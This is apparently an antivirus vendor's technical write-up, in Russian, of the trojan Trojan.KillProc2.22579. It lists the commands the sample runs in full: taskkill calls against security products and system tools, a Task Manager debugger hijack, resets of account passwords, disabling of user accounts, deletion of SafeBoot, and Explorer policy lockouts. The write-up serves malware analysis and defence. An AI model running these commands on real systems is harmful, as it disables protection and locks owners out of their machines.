Trojan.KillProc2.22579

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe] 'Debugger' = 'C:\information.txt'

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' -im explorer.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im CMCTrayIcon.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im K7TSecurity.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im UnThreat.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im MsMpEng.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im avp.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im RavMonD.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im kxetray.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im CorantiControlCenter32.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im F-FRONT.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im ksafe.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im TrojanHunter.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im Mcshield.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im BaiduSdSvc.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im hipstray.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im wsctrl.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im ashDisp.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im avcenter.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im mssecess.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im parmor.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im MongoosaGUI.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im vba32lder.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im cleaner8.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im taskmgr.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im regedit.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im notepad.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im mmc.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im mspaint.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im iexplore.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im winver.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im powershell.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im dwm.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im powershell_ise.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im msedge.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im firefox.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im sougouexplorer.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im control.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im mrt.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im 360tray.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im 360sd.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im ad-watch.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im chrome.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im DiskGenius.exe -f
'%WINDIR%\syswow64\taskkill.exe' -im PartitionGuru.exe -f

Запускает большое число процессов

Завершает или пытается завершить

следующие системные процессы:

%WINDIR%\explorer.exe
<SYSTEM32>\dwm.exe

следующие пользовательские процессы:

iexplore.exe
firefox.exe

Изменения в файловой системе

Создает следующие файлы

C:\information.txt

Другое

Ищет следующие окна

ClassName: '' WindowName: ''

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c start rundll32 lframe32.dll DiskLock
'%WINDIR%\syswow64\net1.exe' user user /active:no
'%WINDIR%\syswow64\net.exe' user user /active:no
'%WINDIR%\syswow64\cmd.exe' /c net user %username% /active:no
'%WINDIR%\syswow64\net1.exe' user Administrator "5845412403717084627145394762335739127387709348404231844925610072880742307070531167371324401343000011"
'%WINDIR%\syswow64\net.exe' user Administrator "5845412403717084627145394762335739127387709348404231844925610072880742307070531167371324401343000011"
'%WINDIR%\syswow64\cmd.exe' /c net user Administrator "5845412403717084627145394762335739127387709348404231844925610072880742307070531167371324401343000011"
'%WINDIR%\syswow64\net1.exe' user user "2235442307857157872680280085971466794416450232562660140930809993051679607928605921982400151868709327"
'%WINDIR%\syswow64\net.exe' user user "2235442307857157872680280085971466794416450232562660140930809993051679607928605921982400151868709327"
'%WINDIR%\syswow64\cmd.exe' /c net user %username% "2235442307857157872680280085971466794416450232562660140930809993051679607928605921982400151868709327"
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t reg_sz /d "C:\information.txt" /f
'%WINDIR%\syswow64\chcp.com' 936
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t reg_sz /d "C:\information.txt" /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
'%WINDIR%\syswow64\notepad.exe' C:\information.txt
'%WINDIR%\syswow64\cmd.exe' /c start notepad C:\information.txt
'%WINDIR%\syswow64\cmd.exe' /c echo Microsoft Windows Update>>C:\information.txt
'%WINDIR%\syswow64\cmd.exe' /c echo Г€Г§В№Г»В№ГВ±Г•ВјГ†Г‹ГЈВ»ГєВЈВ¬ВїГ‰Г„ГњВ»ГЎВіГ¶ГЏГ–ГЋВґГ–ВЄВґГГЋГіВЈВ¬Г‰ГµГ–ГЃВµВјГ–Г‚ВјГ†Г‹ГЈВ»ГєГЋГћВ·ВЁГЉВ№Г“ГѓВЎВЈ>>C:\information.txt
'%WINDIR%\syswow64\cmd.exe' /c echo Г€Г§В№Г»В№ГВ±Г•ВёГјГђГ‚ВґВ°ВїГљВЈВ¬ВїГ‰Г„ГњВ»ГЎВµВјГ–Г‚ Windows ГЂВ¶Г†ГЃ>>C:\information.txt
'%WINDIR%\syswow64\cmd.exe' /c echo ГЌГЄВіГ‰ВєГіВѕГЌВ»ГЎВ№Г¶В»ГВ№В¦Г‚ГЉВЈВ¬Г•ГўВїГ‰Г„ГњГђГЁГ’ВЄГ’В»ГђВ©ГЉВ±ВјГ¤ВЈВ¬Г—ГёВєГЌВ·Г…ВїГВЎВЈ>>C:\information.txt
'%WINDIR%\syswow64\cmd.exe' /c echo Windows Г•ГЅГ”ГљВёГјГђГ‚ВЈВ¬Г‡Г«ВІВ»Г’ВЄВ№ГВ±Г•Г„ГєВµГ„ВјГ†Г‹ГЈВ»ГєВЎВЈ>>C:\information.txt
'%WINDIR%\syswow64\cmd.exe' /c echo.>>C:\information.txt
'%WINDIR%\syswow64\cmd.exe' /c echo ------------------------------------------------------------->>C:\information.txt
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
'%WINDIR%\syswow64\cmd.exe' /c echo Windows ВёГјГђГ‚ - 10.1.26000.20768 (Windows 12 26H2 Dev)>>C:\information.txt
'%WINDIR%\syswow64\cmd.exe' /c net user Administrator /active:no
'%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' user Administrator /active:no
'%WINDIR%\syswow64\net.exe' user Administrator /active:no
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v shutdownwithoutlogon /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v shutdownwithoutlogon /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /va /f
'%WINDIR%\syswow64\cmd.exe' /c reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /va /f
'%WINDIR%\syswow64\cmd.exe' /c net user User /active:no
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c chcp 936
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im PartitionGuru.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im DiskGenius.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im firefox.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im msedge.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im chrome.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im powershell_ise.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im powershell.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im winver.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im iexplore.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im mspaint.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im mmc.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im control.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im notepad.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im taskmgr.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im dwm.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im explorer.exe -f
'%WINDIR%\syswow64\cmd.exe' /c color F1
'%WINDIR%\syswow64\mode.com' con cols=15 lines=1
'%WINDIR%\syswow64\cmd.exe' /c mode con cols=15 lines=1
'%WINDIR%\syswow64\mode.com' con cols=20 lines=1
'%WINDIR%\syswow64\cmd.exe' /c mode con cols=20 lines=1
'%WINDIR%\syswow64\cmd.exe' /c title Windows Setup
'%WINDIR%\syswow64\rundll32.exe' lframe32.dll DiskLock
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im regedit.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im mrt.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im sougouexplorer.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im 360tray.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im avcenter.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im RavMonD.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im ashDisp.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im wsctrl.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im hipstray.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im BaiduSdSvc.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im Mcshield.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im TrojanHunter.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im parmor.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im mssecess.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im ksafe.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im kxetray.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im avp.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im 360sd.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im MsMpEng.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im UnThreat.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im K7TSecurity.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im CMCTrayIcon.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im F-FRONT.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im CorantiControlCenter32.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im MongoosaGUI.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im vba32lder.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im cleaner8.exe -f
'%WINDIR%\syswow64\cmd.exe' /c taskkill -im ad-watch.exe -f
'%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 4294967295 /f

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней